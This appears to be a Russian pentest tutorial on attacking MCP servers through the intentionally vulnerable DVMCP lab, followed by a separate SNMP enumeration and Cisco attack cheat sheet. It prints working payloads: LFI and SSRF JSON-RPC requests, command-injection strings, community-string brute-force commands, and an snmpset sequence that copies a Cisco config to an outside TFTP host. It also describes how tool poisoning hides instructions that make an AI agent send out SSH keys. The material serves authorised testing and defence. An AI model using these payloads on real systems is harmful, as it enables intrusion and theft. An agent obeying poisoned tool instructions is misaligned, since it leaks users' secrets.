Атаки на MCP-серверы: вводный практический разбор (DVMCP + MCP-Scanner)

Данный материал, представленный в данном материале, предназначен исключительно для:

• авторизованного тестирования;
• использования в учебных целях;
• работы в тестовых средах;
• применения в инфраструктуре, на которую у пользователя имеется прямое письменное заверенное разрешение.

Важно: применение описанных методик к любым системам, не находящимся в вашем законном распоряжении и не имеющих официального разрешения на проведение тестирования, является противоправным действием. Подобные действия могут повлечь за собой уголовную ответственность в соответствии с действующим законодательством.

Автор материала не несёт ответственности за:

• несанкционированное использование изложенных методов;
• противоправные действия, совершённые с применением описанной методологии;
• любой ущерб, причинённый в результате нелицензионного применения представленных сведений.

Введение

MCP (Model Context Protocol) — открытый протокол поверх HTTP и JSON-RPC, который позволяет LLM-агентам ходить к внешним сервисам и инструментам: файловым системам, базам данных, внутренним API, облакам. По сути, это «универсальный USB-C» для ИИ-приложений: модель остаётся «мозгом», а MCP-серверы становятся руками, которые выполняют реальные действия.

Проблема в том, что MCP начали внедрять быстрее, чем строить модель угроз. Исследование Knostic и проекта ModelContextProtocol-Security показало: в интернете обнаружено 1862 MCP-сервера, доступных через Shodan; все 119 вручную проверенных экземпляров выдавали список инструментов без какой-либо аутентификации.(PRWeb)

Дальше — хуже. Отчёты Kulkan Security и других команд показывают типичные ошибки: отсутствие проверки прав, небезопасные параметры URI, инструменты, запускающие команды ОС без фильтрации, и ресурсы, позволяющие читать файлы с диска.(Medium) По аналогии с классическими REST-API, MCP-серверы оказываются уязвимы к тем же классам атак:

• SSRF (Server-Side Request Forgery) — проксирование запросов во внутреннюю сеть через resources/read или HTTP-инструменты;
• LFI / path traversal — чтение локальных файлов через file://-URI;
• IDOR — доступ к чужим объектам по изменённым идентификаторам в URI;
• Command injection / RCE — запуск команд через небезопасные инструменты.

Параллельно появляются уже вполне серьёзные инциденты:

• Tool poisoning. Invariant Labs показали, как «безобидный» инструмент add(a, b) может содержать скрытые инструкции (в тегах вида <IMPORTANT>), заставляющие агента вычитать SSH-ключи и конфиги IDE и отправлять их злоумышленнику.(Reddit)
• OAuth / клиентские RCE. Veria Labs описали цепочку «злой MCP-сервер → некорректная обработка OAuth → запуск браузера через shell → RCE» в таких инструментах, как Claude Code и Gemini CLI.(Previously on Tech)
• Локальные dev-инструменты. Oligo Security и другие исследователи показали критическую RCE в Anthropic MCP Inspector (CVE-2025-49596): достаточно, чтобы разработчик открыл страницу с вредоносным JavaScript в браузере — и тот сможет отправить запрос к локальному MCP-proxy на 0.0.0.0:6277 и выполнить команду на машине.(oligo.security)

На этом фоне становится очевидно: MCP — это не магия, а обычный сетевой интерфейс, который нужно тестировать так же жёстко, как REST-API или GraphQL.

В этой первой части мы разберём:

• как поднять уязвимый стенд на базе Damn Vulnerable MCP Server (DVMCP);
• как использовать MCP-Scanner для массового сбора MCP-эндпоинтов и их описаний;
• как вручную, через JSON-RPC и инструменты вроде Burp, проверять базовые уязвимости: SSRF, LFI, IDOR, command injection.

Вторая часть (отдельный материал) будет посвящена сложным цепочкам атак, prompt/tool poisoning и методикам защиты.

Подготовка стенда: Damn Vulnerable MCP Server (DVMCP)

Для практики удобно иметь преднамеренно уязвимый стенд — ровно ту же роль, что OWASP Juice Shop играет для веба. Для MCP эту роль выполняет проект Damn Vulnerable MCP Server (DVMCP). Это набор из 10 MCP-серверов с разными классами уязвимостей (prompt injection, утечка токенов, LFI, RCE, неправильный контроль доступа и т.п.).(SOCRadar® Cyber Intelligence Inc.)

Поднять его просто:

git clone https://github.com/harishsg993010/damn-vulnerable-MCP-server.git
cd damn-vulnerable-MCP-server
docker build -t dvmcp .
docker run -p 9001-9010:9001-9010 dvmcp

• docker build собирает образ dvmcp;
• docker run поднимает контейнер с MCP-серверами на портах 9001–9010.

После запуска у вас на localhost будут доступны эндпоинты вида:

• http://localhost:9001/mcp
• http://localhost:9002/mcp
• http://localhost:9010/mcp

Каждый порт — отдельный «челлендж» с определённым типом бага. Автор проекта рекомендует Linux-среду с нормально настроенным Docker: так проще повторять эксперименты и смотреть логи сервера.

К этим MCP-серверам можно подключаться:

• любым совместимым клиентом (например, MCP Inspector — но помнить про его уязвимости и обновлять до последних версий);(oligo.security)
• напрямую через HTTP — отправляя JSON-RPC запросы из curl, Burp Repeater, Postman и т.п.

Обзор MCP-Scanner: массовое обнаружение MCP-серверов

Если DVMCP нужен для локальной тренировки, то в реальной работе полезен инструмент, который поможет:

1. найти MCP-серверы в интернете;
2. убедиться, что они действительно говорят на MCP;
3. собрать базовую информацию: список tools/resources/prompts и параметры.

Один из первых публичных инструментов такого рода — MCP-Scanner от Knostic.(GitHub)

Это Python-скрипт, который:

• использует API Shodan для поиска потенциальных MCP-эндпоинтов (по портам, заголовкам и контенту);
• пробует выполнить базовый JSON-RPC handshake;
• для «живых» серверов вытаскивает список инструментов (tools/list) и ресурсов (resources/list);
• сохраняет результаты в удобных форматах для анализа.

Пример установки и запуска:

git clone https://github.com/knostic/MCP-Scanner.git
cd MCP-Scanner
pip install -r requirements.txt  # либо вручную: pip install shodan requests aiohttp
python mcp_scanner.py --api-key YOUR_SHODAN_API_KEY

По умолчанию сканер:

• использует встроенные фильтры Shodan;
• собирает ограниченное количество результатов на фильтр (например, по 50);
• по каждому кандидату пытается выполнить MCP-инициализацию и получить списки tools/resources.

На выходе создаётся директория вида mcp_scan_results_2025-XX-XX/ со следующими файлами:

• verified_servers.json — подробная информация по каждому подтверждённому MCP-серверу: URL, успех handhshake, список инструментов, ресурсы, возможные проблемы;
• verified_servers.csv — то же в табличном виде, удобно грузить в Excel/BI;
• scan_summary.txt — краткий текстовый отчёт;
• лог-файл работы (mcp_discovery_*.log), полезен для разбора сбоев и ложных срабатываний.

В своём исследовании Knostic на основе этого сканера и вспомогательных скриптов обнаружили те самые 1862 открытых MCP-сервера и показали, что все проверенные экземпляры были неправильно сконфигурированы (нет авторизации, нет ограничения инструментов, утечки ресурсов).(PRWeb)

Для пентестера MCP-Scanner — это аналог httpx/nuclei для новой поверхности атаки: помогает быстро собрать карту уязвимых серверов и понять, куда тратить время на ручной анализ.

Базовые JSON-RPC запросы к MCP

MCP использует JSON-RPC 2.0, обёрнутый в HTTP (или другой транспорт — SSE, WebSocket, stdio). В простейшем случае мы имеем:

• HTTP POST на /mcp (или другой endpoint);
• JSON-тело вида:

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/list",
  "params": { ... }
}

Ниже — несколько типовых запросов, которые нужны для ручного тестирования.

Инициализация сессии (initialize)

curl -X POST http://localhost:9001/mcp \
  -H "Content-Type: application/json" \
  --data '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "initialize",
    "params": {
      "protocolVersion": "2025-06-18",
      "capabilities": { "tools": {}, "resources": {}, "prompts": {} },
      "clientInfo": { "name": "Tester", "version": "1.0" }
    }
  }'

В ответ сервер должен вернуть объект result с информацией о себе (версия, поддерживаемые возможности) и, как правило, заголовок MCP-Session-Id. Этот идентификатор нужно передавать в последующих запросах:

-H "MCP-Session-Id: <ID_из_ответа>"

Если последующие вызовы работают без инициализации или Session-Id, это уже сигнал к проверке авторизации.

Получение списка инструментов (tools/list)

curl -X POST http://localhost:9001/mcp \
  -H "Content-Type: application/json" \
  -H "MCP-Session-Id: <ID>" \
  --data '{
    "jsonrpc": "2.0",
    "id": 2,
    "method": "tools/list",
    "params": {}
  }'

Сервер вернёт массив доступных инструментов: имя, описание, схема параметров (типы, обязательность, дефолты). Это основная точка входа для поиска опасных полей (cmd, path, uri, url, expression и т.п.).

Чтение ресурса (resources/read)

curl -X POST http://localhost:9001/mcp \
  -H "Content-Type: application/json" \
  -H "MCP-Session-Id: <ID>" \
  --data '{
    "jsonrpc": "2.0",
    "id": 3,
    "method": "resources/read",
    "params": {
      "uri": "file:///etc/passwd"
    }
  }'

Здесь мы просим сервер прочитать локальный файл /etc/passwd. Если в реализации нет фильтрации или ограничения допустимых URI, сервер может вернуть содержимое файла — это классическая LFI/path traversal, о которой уже предупреждают авторы спецификации и практических гайдов по MCP.(SOCRadar® Cyber Intelligence Inc.)

Те же запросы удобно отправлять через Burp Repeater:

• в заголовках — Content-Type: application/json и MCP-Session-Id;
• в теле — JSON-RPC, как в примерах выше.

Ручное тестирование MCP-серверов: основные уязвимости

1. IDOR (Insecure Direct Object Reference)

MCP-ресурсы часто адресуются по URI с идентификатором:

• resource://user/1234/data
• resource://project/5678/config
• resource://tenant/acme/invoices/2024

Если сервер не проверяет, соответствует ли запрашиваемый объект текущему пользователю/контексту, атакующий может заменить ID и получить доступ к чужим данным.

Методика:

1. Находим ресурсы с явными ID (через resources/list или документацию).
2. Отправляем resources/read с изменённым идентификатором: { "jsonrpc": "2.0", "id": 10, "method": "resources/read", "params": { "uri": "resource://user/5678/data" } }
3. Сравниваем результат:
• если приходит ошибка «access denied» — всё хорошо;
• если данные отличаются, а авторизация не учитывает ID — это IDOR.

Такой же приём работает для инструментов (tools/call), которые принимают ID в параметрах.

2. SSRF (Server-Side Request Forgery)

Если ресурсы или инструменты позволяют читать произвольные URL, MCP-сервер превращается в прокси во внутреннюю сеть. Это критично, когда MCP расположен внутри корпоративного контура или за mTLS-шлюзами: запрос идёт из доверенной зоны.

Примеры:

{
  "jsonrpc": "2.0",
  "id": 20,
  "method": "resources/read",
  "params": {
    "uri": "http://169.254.169.254/latest/meta-data/"
  }
}

• Классика облачных атак: запрос к AWS Instance Metadata Service (IMDS).(tl;dr sec)

{
  "jsonrpc": "2.0",
  "id": 21,
  "method": "resources/read",
  "params": {
    "uri": "http://127.0.0.1:2375/containers/json"
  }
}

• Попытка достучаться до локального Docker-daemon API (2375/tcp), если он открыт без TLS/аутентификации.

Если MCP-сервер находится за mTLS-шлюзом и использует клиентский сертификат для доступа к внутренним API, а вы можете управлять URI — вы, по сути, «садитесь» на уровень доверия этого сервиса. mTLS не ломается криптографически, но становится бессильным против легитимного запроса изнутри, сгенерированного через SSRF.

Признаки:

• в ответе видно содержимое внутренних API/метаданных;
• сервер отвечает отличающимися по структуре ошибками (утечка фрагментов HTML/JSON с внутренних сервисов).

3. LFI / Path Traversal

LFI для MCP — это частный случай опасной работы с file://-URI или путями.

Типовой payload:

{
  "jsonrpc": "2.0",
  "id": 30,
  "method": "resources/read",
  "params": {
    "uri": "file:///etc/passwd"
  }
}

или:

{
  "jsonrpc": "2.0",
  "id": 31,
  "method": "resources/read",
  "params": {
    "uri": "file://C:/Windows/win.ini"
  }
}

Проверяем:

• чтение «невинных» файлов (/etc/hostname, win.ini);
• попытки traversal: file:///../../../../etc/passwd, специальные символы (..%2f..%2f).

Если сервер возвращает содержимое системных файлов, конфигов БД, kubeconfig, SSH-ключей и т.п. — это LFI с высоким риском.

4. Command Injection / RCE

По исследованиям Palo Alto, SOC Radar и других команд, значительная часть ошибок в MCP связана с небезопасными инструментами: они вызывают оболочку, интерпретатор или системные утилиты напрямую, подставляя аргументы из параметров запроса.(AIMultiple)

Что искать:

• инструменты с именами или описанием: execute_command, run_shell, evaluate_expression, system, bash, powershell и т.п.;
• параметры cmd, command, expression, script, path.

Пример вызова (псевдо):

{
  "jsonrpc": "2.0",
  "id": 40,
  "method": "tools/call",
  "params": {
    "name": "evaluate_expression",
    "arguments": {
      "expression": "; ls /"
    }
  }
}

или более мягкий вариант (где ожидается арифметическая строка):

{
  "jsonrpc": "2.0",
  "id": 41,
  "method": "tools/call",
  "params": {
    "name": "evaluate_expression",
    "arguments": {
      "expression": "__import__('os').system('id')"
    }
  }
}

Смотрим:

• появляется ли в ответе вывод команды;
• меняется ли состояние сервера (создан файл, в логах новые строки и т.п.).

На DVMCP есть челленджи с ровно такой логикой: вместо безопасной обработки выражений используется прямой вызов eval() или командной оболочки — это даёт возможность привести пример RCE «в учебных условиях», не трогая боевые системы.

5. CORS, браузер и «тихий» доступ к MCP

Отдельный класс проблем — когда MCP-эндпоинт доступен из браузера:

• заголовки Access-Control-Allow-Origin: * или доверие ко всем доменам;
• отсутствие CSRF-защиты;
• экспонирование MCP Inspector / прокси на 0.0.0.0 без токена.

Исследования Oligo Security и Qubit показали, что комбинация некорректных CORS/Origin-проверок, DNS rebinding и отсутствия аутентификации в MCP-прокси позволяет:

1. заманить разработчика на страницу с вредоносным JavaScript;
2. из браузера отправить запрос на http://0.0.0.0:6277/sse?...&command=<payload>;
3. выполнить произвольную команду на машине жертвы, хотя сервис «вроде бы» слушает только localhost.(oligo.security)

При тестировании:

• смотрим CORS-заголовки в ответах MCP;
• проверяем, не доступны ли dev-инструменты (inspector/proxy) снаружи;
• отрабатываем сценарий «страница из интернета → запрос на localhost».

Пример короткого отчёта по LFI на DVMCP

Цель: проверить, может ли MCP-сервер читать произвольные файлы.

Шаги:

Инициализируем сессию:

curl -X POST \
  http://localhost:9001/mcp \
  -H "Content-Type: application/json" \
  --data '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "initialize",
    "params": {
      "protocolVersion": "2025-06-18",
      "capabilities": {},
      "clientInfo": {
        "name": "Tester",
        "version": "1.0"
      }
    }
  }'
 

В ответе получаем MCP-Session-Id.

Отправляем запрос на чтение /etc/passwd:

curl -X POST \
  http://localhost:9001/mcp \
  -H "Content-Type: application/json" \
  -H "MCP-Session-Id: <ID>" \
  --data '{
    "jsonrpc": "2.0",
    "id": 10,
    "method": "resources/read",
    "params": {
      "uri": "file:///etc/passwd"
    }
  }'

В поле result ответа видим содержимое /etc/passwd: список пользователей, их UID, домашние директории.

Вывод: сервер не ограничивает допустимые file://-URI и позволяет читать произвольные файлы. Уязвимость: LFI/path traversal. Риск: утечка конфигурации, пользователей, потенциально — секретов (ключей, паролей).

Чек-лист пентестера MCP (часть 1: базовый срез)

1. Поиск MCP-эндпоинтов

• Сканирование внешки: nmap, httpx, Shodan/Censys/Zoomeye.
• Признаки MCP:
• ответы с {"jsonrpc": "2.0", ...};
• заголовок MCP-Session-Id в ответах;
• пути /mcp, /sse, /mcp-server, /api/mcp/*.

2. Инициализация и авторизация

• Отправить initialize и сохранить MCP-Session-Id.
• Проверить поведение:
• работают ли запросы без initialize?
• работают ли запросы без MCP-Session-Id или с поддельным значением?
• Любой доступ к чувствительным операциям без корректной сессии — баг авторизации.

3. Перечисление функционала

• Вызвать tools/list, resources/list, prompts/list.
• Зафиксировать:
• инструменты с опасными параметрами (cmd, url, path, expression);
• ресурсы с URI вида file://, http://, s3://, resource://user/{id}.

4. SSRF / LFI

• Для всех полей, похожих на URI/URL:
• пробуем http://169.254.169.254/..., http://127.0.0.1:... (аккуратно, без DoS);
• пробуем file:///etc/passwd, file://C:/Windows/win.ini, traversal-варианты.
• Фиксируем случаи, когда содержимое реально читается или меняется тип ошибки.

5. Command Injection / RCE

• Ищем инструменты, вызывающие внешние команды.
• Пробуем минимальные payload’ы:
• ; id, && whoami, | uname -a;
• в «вычислителях» — злоупотребление eval() или интерпретатором (__import__('os')...).
• Смотрим на вывод и побочные эффекты.

6. IDOR и доступ к чужим данным

• Меняем ID в URI/параметрах на заведомо «чужие».
• Проверяем, возвращается ли другой объект без ошибок доступа.

7. CORS / браузер

• Анализируем заголовки:
• Access-Control-Allow-Origin, Access-Control-Allow-Credentials;
• Ищем dev-панели/инспекторы, работающие через браузер.
• Оцениваем риск XSS/CSRF-цепочек по аналогии с кейсом MCP Inspector.

8. Отчётность

• Для каждой находки:
• сохраняем сырой запрос (curl / HTTP-дамп);
• сохраняем ответ (обрезая чувствительные данные, если это боевой стенд);
• формулируем риск и потенциальный импакт (что можно сделать в реальной среде).

Заключение и материалы для чтения

MCP-сервер — это просто ещё один сетевой интерфейс между вашим приложением и внутренними ресурсами. Он даёт огромную гибкость ИИ-агентам, но одновременно открывает новые варианты старых атак: SSRF, LFI, RCE, утечку токенов и конфигов. Исследования Knostic, Kulkan Security, Invariant Labs, Veria Labs, Oligo Security и других команд уже показывают, что:

• сотни и тысячи MCP-серверов доступны в интернете без аутентификации;(PRWeb)
• ошибки в OAuth/CORS и dev-инструментах легко приводят к RCE на машинах разработчиков;(oligo.security)
• tool/prompt/schema poisoning позволяет незаметно вытащить ключи, конфиги и чувствительные документы из среды разработчика и из продакшена.(Reddit)

В этой первой части мы сосредоточились на базовых вещах: как поднять DVMCP, как использовать MCP-Scanner для разведки, как руками проверять SSRF/LFI/IDOR/RCE.

Во второй части логично перейти к более сложным сюжетам:

• tool/prompt/full-schema poisoning;
• цепочки атак через IDE и dev-инструменты;
• методики hardening и интеграция сканеров/политик (включая платформы уровня Tencent AI-Infra-Guard) в SDLC.

Для самостоятельного углубления сейчас стоит посмотреть:

• Knostic / ModelContextProtocol-Security: обзор открытых MCP-серверов и статистика по аутентификации.(PRWeb)
• Kulkan Security — “Assessing the Attack Surface of Remote MCP Servers”.(Medium)
• Invariant Labs — “MCP Security Notification: Tool Poisoning Attacks”.(Reddit)
• Veria Labs — “From MCP to Shell: How MCP Authentication Flaws Enable RCE in Claude Code, Gemini CLI, and More”.(Previously on Tech)
• Oligo Security / Qubit — материалы по RCE в Anthropic MCP Inspector (CVE-2025-49596, CVE-2025-58444).(oligo.security)

Этого достаточно, чтобы не относиться к MCP как к «чёрному ящику с ИИ-магией», а видеть в нём то, чем он реально является: мощный, но крайне чувствительный интерфейс между моделью и вашей инфраструктурой. Именно такие вещи исторически и ломают чаще всего.

Лев Прокопьев, эксперт по наступательной кибербезопасности

Материал подготовлен специально для сообщества AD_POHEQUE

👾

SNMP (Simple Network Management Protocol) — протокол, который используют для мониторинга разных устройств в сети (роутеры, свитчи, принтеры, IoT и т.п.).

Пример баннера:

PORT    STATE SERVICE REASON                 VERSION
161/udp open  snmp    udp-response ttl 244   ciscoSystems SNMPv3 server (public)

Совет
SNMP также использует порт 162/UDP для traps.
Traps — это пакеты данных, которые сервер SNMP отправляет клиенту без явного запроса с его стороны.

MIB

Чтобы SNMP нормально работал между разными вендорами и разными связками клиент–сервер, придумали MIB (Management Information Base).

MIB — это независимый формат хранения информации об устройстве.
Фактически это текстовый файл, в котором все доступные для опроса SNMP-объекты конкретного устройства перечислены в виде стандартизированного древовидного дерева.

Каждый MIB содержит как минимум один Object Identifier (OID), который, кроме уникального адреса и имени, описывает:

• тип объекта,
• права доступа,
• текстовое описание.

Файлы MIB пишутся на основе ASN.1 (Abstract Syntax Notation One) в ASCII-тексте.
Сами MIB-файлы не содержат данных. Они описывают:

• где именно искать нужную информацию;
• какой тип данных там лежит;
• какие значения может возвращать конкретный OID.

OIDs

OIDs (Object Identifiers) — ключевой элемент. Это уникальные идентификаторы управляемых объектов внутри MIB.

Верхние уровни дерева OID выделены под разные стандартизирующие организации.
Именно там задаётся каркас общих стандартов и практик управления.

Дальше у вендоров есть свои частные ветки. В этих ветках производитель может:

• создавать свои объекты управления;
• описывать параметры, характерные именно для его железа и продуктов.

Так получается единая, но расширяемая система идентификации и управления объектами.

Навигировать по OID-дереву можно прямо в браузере, например:

• дерево: http://www.oid-info.com/cgi-bin/display?tree=#focus
• расшифровка конкретного OID (например, 1.3.6.1.2.1.1):
  http://oid-info.com/get/1.3.6.1.2.1.1

Есть известные OID’ы, например ветка 1.3.6.1.2.1 — это MIB-2, где определены стандартные SNMP-переменные.
Из дочерних OID этой ветки можно получить кучу интересной информации о хосте: системные данные, сетевые интерфейсы, процессы и т.д.

Пример OID

Пример отсюда:

1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3 . 21 . 1 . 4 . 7

Разберём по частям:

• 1 — ISO, признак того, что это вообще OID. Поэтому все OID начинаются с 1.
• 3 — ORG, указывает организацию, связанную с объектом.
• 6 — dod (Department of Defense) — исторически организация, стоявшая у истоков Интернета.
• 1 — значение internet, то есть пространство имён Интернета.
• 4 — ветка, показывающая, что устройство относится к частной организации, а не государству.
• 1 — ветка enterprise, то есть объект принадлежит какому-то бизнесу или компании.

Эти первые шесть чисел почти всегда одинаковые и дают базовую информацию.
Дальше начинаются более конкретные данные.

Следующий блок:

• 1452 — идентификатор организации-производителя устройства.
• 1 — тип устройства. В примере — будильник.
• 2 — признак того, что это remote terminal unit.

Остаток OID даёт уже совсем специфичную инфу:

• 5 — дискретная точка тревоги;
• 1 — конкретная точка внутри устройства;
• 3 — порт;
• 21 — адрес порта;
• 1 — дисплей, связанный с портом;
• 4 — номер точки;
• 7 — состояние точки.

Версии SNMP

Из практических версий нас интересуют:

• SNMPv1
  Самая старая и до сих пор очень распространённая.
  Аутентификация — через строку (community string), которая передаётся в открытом виде, как и все данные.
  SNMPv2 / v2c тоже передают всё в plain-text и используют community string.
• SNMPv3
  Использует более серьёзную схему аутентификации, а данные передаёт в зашифрованном виде.
  Теоретически возможна словесная (dictionary) атака, но подобрать учётку гораздо сложнее, чем у v1/v2c.

Community Strings

Как уже было сказано, для доступа к данным MIB в SNMPv1 и v2/2c нужно знать community string, а в SNMPv3 — логин/пароль (и параметры безопасности).

Есть два основных типа community string:

• public — обычно даёт только чтение (read-only);
• private — как правило, чтение/запись (read-write).

Важно: возможность записи по конкретному OID зависит от использованной community string, поэтому даже если у вас есть только public,
вполне возможно, что некоторые значения всё же можно менять.
Плюс есть объекты, которые всегда только на чтение.

Если попытаться записать значение в объект, для которого это запрещено, вы получите ошибку noSuchName или readOnly.

В SNMP v1/v2/2c при неверной community string сервер просто не отвечает.
То есть если SNMP ответил — community string была валидной.

Порты

По данным Wikipedia:

• Агент SNMP принимает запросы на UDP-порт 161.
• Менеджер получает уведомления (Traps и InformRequests) на порт 162.
• При использовании TLS или DTLS:
• запросы принимаются на 10161,
• уведомления отправляются на 10162.

Брутфорс community string (v1 и v2c)

Чтобы подобрать community string, используется словарная атака.
Разные способы брутфорса SNMP описаны здесь:
https://book.hacktricks.wiki/en/generic-hacking/brute-force.html#snmp

Часто встречающаяся строка — public.

Перечисление SNMP

Чтобы понять, что означает каждый OID, имеет смысл подтянуть MIB-ы:

apt-get install snmp-mibs-downloader download-mibs

# потом закомментировать строку "mibs :" в /etc/snmp/snmp.conf
sudo vi /etc/snmp/snmp.conf

Дальше, зная корректную community string, можно ходить в SNMP с помощью snmpwalk / snmpbulkwalk или snmp-check:

# Массовый обход дерева (важна финальная точка!)
snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] .
snmpbulkwalk -c public -v2c 10.10.11.136 .

# Обычный обход
snmpwalk -v [VERSION_SNMP] -c [COMM_STRING] [IP]

# Получить IPv6 (нужен dec2hex)
snmpwalk -v [VERSION_SNMP] -c [COMM_STRING] [IP] 1.3.6.1.2.1.4.34.1.3

# Расширенные объекты
snmpwalk -v [VERSION_SNMP] -c [COMM_STRING] [IP] NET-SNMP-EXTEND-MIB::nsExtendObjects

# Полное перечисление
snmpwalk -v [VERSION_SNMP] -c [COMM_STRING] [IP] .1

# Быстрый аудит
snmp-check [IP] -p [PORT] -c [COMM_STRING]

# Nmap-скрипты
nmap --script "snmp* and not snmp-brute" <target>

# Брут конкретного диапазона OID
braa <community string>@<IP>:.1.3.6.*

Благодаря extended-запросам (и загруженным MIB-ам) можно вытащить ещё больше системной информации:

snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull

Через SNMP часто удаётся собрать очень много данных о хосте. Особенно интересны:

• сетевые интерфейсы (включая IPv6);
• имена пользователей;
• аптайм;
• версия ОС/сервера;
• запущенные процессы (иногда прямо с паролями в аргументах).

Опасные настройки

Некоторые параметры SNMP в контексте безопасности особенно критичны — они отвечают за доступ к полной OID-иерархии.

Настройки доступа

Есть две ключевые настройки, которые могут дать полный доступ ко всему OID-дереву:

1. rwuser noauth
   Разрешает полное RW-доступ к дереву OID без аутентификации.
   Прямой и очень опасный вариант.
2. Более точечный подход — через:
• rwcommunity для IPv4,
• rwcommunity6 для IPv6.

Обе команды требуют указать community string и IP-адрес (или маску).
Результат — полный доступ, независимо от источника запроса, если он подходит под правило.

SNMP-параметры для Microsoft Windows

Через SNMP на Windows можно мониторить разные вещи по конкретным MIB-значениям:

• Системные процессы — 1.3.6.1.2.1.25.1.6.0
  Позволяет смотреть количество активных процессов.
• Запущенные программы — 1.3.6.1.2.1.25.4.2.1.2
• Путь к процессу — 1.3.6.1.2.1.25.4.2.1.4
• Носители/хранилища — 1.3.6.1.2.1.25.2.3.1.4
• Имя установленного ПО — 1.3.6.1.2.1.25.6.3.1.2
• Учётные записи пользователей — 1.3.6.1.4.1.77.1.2.25
• Локальные TCP-порты — 1.3.6.1.2.1.6.13.1.3

Массовый SNMP-скан

Braa — массовый SNMP-сканер.

В отличие от snmpwalk из net-snmp, Braa может:

• опрашивать десятки и сотни хостов одновременно;
• работать одним процессом;
• потреблять очень мало ресурсов и сканировать очень быстро.

У Braa свой собственный SNMP-стек, поэтому ему не нужны внешние библиотеки.

Синтаксис:

braa [community]@[IP_SNMP_сервера]:[iso id]

braa ignite123@192.168.1.125:.1.3.6.*

На выходе вы получите очень много данных (мегабайты), которые руками не разобрать.
Поэтому дальше выдираем самое интересное. Ниже — приёмчики из:
https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/

Устройства

Сначала определяем типы устройств с помощью sysDesc:

• OID: 1.3.6.1.2.1.1.1.0

По файлам .snmp можно пройтись:

grep ".1.3.6.1.2.1.1.1.0" *.snmp

Поиск private-строки

Задача — найти private community string, особенно на Cisco IOS, чтобы:

• сливать running-config,
• или другие чувствительные настройки.

Иногда нужные строки всплывают в trap-логах. Тогда ищем слово trap:

grep -i "trap" *.snmp

Usernames / Passwords

В MIB-таблицах могут лежать логи неуспешных логинов.
Иногда пользователи случайно забивают пароли в поле username — и это улетает в лог.

Ищем по ключевым словам:

grep -i "login\|fail" *.snmp

Email-адреса

Извлечь email-ы можно через grep с regexp:

grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp

Изменение значений SNMP

Для изменения значений можно использовать, например, NetScanTools.
Для этого нужно знать private community string.

Спуфинг

Если доступ к SNMP ограничен ACL и разрешены только определённые IP, можно:

• подделать (spoof) один из разрешённых адресов в UDP-пакетах,
• и параллельно снифать ответы, чтобы всё равно получить данные.

Проверка конфигов SNMP

Типичные файлы конфигурации:

• snmp.conf
• snmpd.conf
• snmp-config.xml

Cisco SNMP

Тестирование Cisco-сетей

SNMP у Cisco работает по UDP:

• 161/UDP — обычные запросы/ответы;
• 162/UDP — trap-сообщения.

Протокол опирается на community strings — это по сути «пароли» в открытом виде, определяющие:

• уровень доступа: RO (read-only) или RW (read-write);
• кто может управлять устройством.

Классический (и до сих пор эффективный) вектор — подбор community string,
чтобы с анонимного уровня подняться до админского RW-доступа.

Удобный инструмент:

• onesixtyone

onesixtyone -c community_strings.txt -i targets.txt

Другие быстрые варианты:

# Nmap NSE
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24

# Hydra
hydra -P wordlist.txt -s 161 10.10.10.1 snmp

Дамп конфига через SNMP (CISCO-CONFIG-COPY-MIB)

Если у вас есть RW-community, можно слить running-config / startup-config
на TFTP/FTP-сервер без доступа к CLI, злоупотребляя MIB CISCO-CONFIG-COPY-MIB (1.3.6.1.4.1.9.9.96).

Два основных пути:

1. Nmap NSE — snmp-ios-config

nmap -sU -p161 --script snmp-ios-config \
     --script-args creds.snmp=private 192.168.66.1

Скрипт сам организует копирование и напечатает конфиг в stdout.

1. Ручная последовательность snmpset

# Копируем running-config (4) на TFTP-сервер (1), row id = 1234
snmpset -v2c -c private 192.168.66.1 \
  1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \
    # protocol = tftp
  1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \
    # sourceFileType = runningConfig
  1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \
    # destFileType = networkFile
  1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \
    # TFTP server IP
  1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s "backup.cfg" \
  1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4
    # rowStatus = createAndGo

Обрати внимание: row id одноразовый — повторное использование в течение ~5 минут даст inconsistentValue.

Когда конфиг уже лежит на TFTP-сервере, его можно:

• просмотреть на предмет паролей (enable secret, username <user> secret и т.п.),
• или даже подготовить модифицированный конфиг и залить его обратно.

Полезное в Metasploit

• cisco_config_tftp — скачивает running/startup-config через TFTP, используя тот же MIB.
• snmp_enum — собирает инвентаризационные данные: информацию об устройстве, VLAN’ы, описания интерфейсов, ARP-таблицу и т.д.

Пример:

use auxiliary/scanner/snmp/snmp_enum
set RHOSTS 10.10.100.10
set COMMUNITY public
run

Свежие уязвимости Cisco SNMP (2023–2025)

Следить за вендорскими advisory полезно, чтобы находить “0-day → n-day” возможности в рамках пентеста.

Год CVE Компонент Влияние 2025 CVE-2025-20174 SNMP subsystem Специальный пакет приводит к аутентифицированному DoS (reload) на IOS/IOS-XE (v1/v2c/v3). 2024 CVE-2024-20373 IPv4 ACL handling Некорректно настроенные extended ACL могут тихо проваливаться, позволяя неаутентифицированные SNMP-опросы при известной community/user. 2025 (без CVE пока) SNMPv3 restriction bypass Пользователь SNMPv3 может опрашивать устройство с адресов, которые должны быть запрещены.

Эксплуатация почти всегда требует:

• знать community string или
• иметь учётку SNMPv3.

Ещё один аргумент в пользу того, что брутфорс SNMP всё ещё актуален.

Hardening и детекция

• Обновиться до исправленной версии IOS/IOS-XE (см. advisory Cisco).
• Использовать SNMPv3 с authPriv (SHA-256 + AES-256) вместо v1/v2c: snmp-server group SECURE v3 priv snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
• Привязать SNMP к management VRF и ограничить доступ standard IPv4 ACL
  (отказаться от extended named ACL из-за CVE-2024-20373).
• Отключить RW-community.
